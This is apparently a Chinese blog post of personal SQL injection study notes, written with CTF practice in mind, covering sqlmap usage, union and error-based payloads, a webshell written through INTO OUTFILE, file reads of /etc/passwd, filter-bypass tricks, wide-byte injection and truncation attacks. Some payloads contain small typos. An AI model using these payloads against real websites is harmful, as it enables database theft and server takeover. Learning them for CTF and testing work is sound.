SQL注入 WEB

SQL注入 WEB

  1. SQL注入的定义

    SQL注入主要的产生原因就是过度信任用户(大雾,SQL注入的主要产生原因就是用户输入的GET参数、POST参数等被开发者直接与SQL语句进行拼接,造成了可控SQL语句的现象,使得用户可以执行任意SQL语句

  2. SQLMAP的使用

    SQLMAP是SQL注入的一种非常强大的工具,可以极大程度减少手工注入的时间

    一般KALI中会自带SQLMAP,当然大部分Linux都含有Python,然后安装SQLMAP即可,而在win10下,则需要个人配置好Python环境后,去SQLMAP github上下载后运行即可,其中xxxx代表参数

    一些较常使用的参数

    | -h | 最最最实用的参数,帮助文档 |
    | :-----------: | :-----------------------------------------------------: |
    | -u xxx | xxx代表url即对指定的url进行扫描,一般是GET参数 |
    | -r xxx.txt | xxx.txt代表用burp抓包后保存的数据包文件,一般是POST参数 |
    | --dbs | 查询数据库,这个好像和-current-db类似 |
    | -D 数据库名字 | 指定数据库名进行操作 |
    | --tables | 查询表 |
    | -T 表名字 | 指定数据库表名进行操作 |
    | --columns | 查询字段 |
    | -C 字段名 | 指定字段名 |
    | --threads=10 | 我一般设置10线程同时进行操作 |
    | --users | 查询数据库的用户 |
    | --level 3 | 提高查找漏洞的等级 |

    其实SQLMAP中还存在着一些小脚本,存在于tample文件夹下,可以通过--tample=xxx进行调用(因为我个人不常使用,使用的时候也是直接copy百度,没有过多的去了解过这些脚本的实现,这里不做介绍,有兴趣的可以自行查阅资料)

  3. 一般的SQL注入分类

    一般的SQL注入大概分为两大种,分为有回显和没回显两种

    1. 有回显的注入

      1. union联合搜索

        ?id = 1 order by x

        ?id = 1 ' union select 1 #

      2. 报错注入

        1. updatexml

          本质而言就是函数的报错所引起的

          ?id = 1 ' updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

          上为爆破数据库版本,具体爆破方法为更改内version

        2. floor

          本质是rand和order by或者group by的冲突

          ?id = 1 ' and (select 1 from (select count(),concat((select(select(select concat(0x7e,version(),0x7e))) from information_schema.tables limits 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)%23

        3. exp

          exp函数报错的本质原因是溢出报错

          ?id = 1' and exp(~(select * from (select user())x))%23

    2. 无回显的注入

      无回显的注入主要是bool注入和基于时间的注入,漏洞课程具体介绍,因此不详细介绍,个人推荐时间注入最好借助SQLMAP进行操作

  4. SQL常用的一些函数

    select user() 当前用户
    select version(),select @@version 数据库版本
    select database() 数据库名
    select @@version_compile_os 操作系统的版本
    show variables 所有变量
    order by 1...,group by 1.... 爆破字段数
    select group_concat(schema_name) from information_schema.schemata 查库名
    select group_concat(table_name) from information_schema.tables where table_schema='库名' 查表名
    select group_concat(column_name) where information_schema.columns where table_name='表名'
    查字段
    select * from mysql.user limit n,m 读取某行
    select load_file('/etc/passwd') 读取文件
    select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' 写一句话木马
    截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
    字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c'),LOCATE(substr,str,pos) //eg:select locate('a','abcd',2);a在abcd里面第几位
    多行拼接:group_concat //eg: select group_concat(user) from mysql.user
    时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等
    编码函数: unhex、hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)
    布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...
    替换逗号: offset,from 1 for 1,
    与或:& |
    替换大于号小于号:bewteen ... and ... 和 in,not in 
    
  5. SQL常用的一些绕过方法

    • 绕过空格

      %20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)
      

      其中%09需要php环境,%0a为\n

      /!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1

    • 绕过单引号

      \转义、宽字节%df%27,%bf%27、十六进制绕过
      
    • 注释方法

    • selcet from union select绕过

      select-1,user from mysql.user
      select@1,user from mysql.user
      select~1,user from mysql.user
      select`user`,user from mysql.user
      select(1),user from mysql.user
      select'1',user from mysql.user
      select+1,user from mysql.user
      
      select 1,1e2from mysql.user
      select 1,.9from mysql.user
      select 1``from mysql.user
      select 1''from mysql.user
      select 1'123'from mysql.user
      select '1'''from mysql.user
      select 1""from mysql.user
      select "1"""from mysql.user
      
      select 1 from mysql.user where user=.1union select 1
      select 1 from mysql.user where user=1e1union select 1
      select 1 union--%0aselect 2
      select 1 union--%0e%0aselect 2
      select 1 union all select 2
      
    • set绕过

      select '123' into @a
      select @a:='123'
      select 1 from mysql.user where @a:='123'
      do @a:='123'
      
    • .绕过(点绕过)//select from等关键字绕过都可以用

      select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'
      set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; 
      
    • information_schema绕过

      select table_name from mysql.innodb_index_stats 表名 
      select database_name from mysql.innodb_index_stats 库名 
      select table_name from mysql.innodb_table_stats 表名 
      select database_name from mysql.innodb_table_stats 库名
      
    • 逗号绕过

      select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf) 
      select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)
      
  6. 一些知识点

    • SQL约束攻击

      在所有的INSERT查询中,SQL会根据varchar(n)来限制字符串的最大长度,因此如果字符串的长度大于n个字符的话,那么仅仅采用字符串的前n个字符,比如varchar(64)的admin,我可以注册一个admin+63个空格+a的密码为admin的,那么我输入admin,admin也就可以完成登录了

    • 宽字节注入

      所有英文占用一个字节,所有中文汉字占用两个字节,一个字符大小为一个字节成为窄字节,大小为两个字节的称之为宽字节

      宽字节注入产生的原理

      1. php发送请求mysql中使用了语句SET names ‘gbk’ SET character_set_client=gbk进行了依次gbk编码,但是又因为一些字符集导致宽字节注入

      2. 引入一个php防御函数

        magic_quotes_gpc(魔术引号开关)
        magic_quotes_gpc函数在php中的作用是判断用户输入的数据,在post,get,cookie传参中接收到的数据中加转义字符“\”,以确保这些数据不会引起程序出现致命性错误

      3. magic_quotes_gpc的作用:
        当php传参中有特殊字符就会在前面加转义字符\来做一定的过滤

      4. 为了绕过magic_quotes_gpc的 \ ,于是开始引入宽字节。
        \:编码%5c ':编码%27 運:编码%df%5c

      5. 大概如下图

        img

      6. 常用注入方法为,在可能的注入点后键入%df

  7. 一些特殊的SQL注入

    目前存在一些二次注入的CTF题,二次注入产生的原因是因为第一次注入的使用有WAF无法让我们实现注入,但这个数据再次取出的时候没有WAF,也就会出现二次注入,需要脚本

  8. more

posted @ 2021-07-01 17:14  buchiyexiao  阅读(97)  评论(0)    收藏  举报
Live2D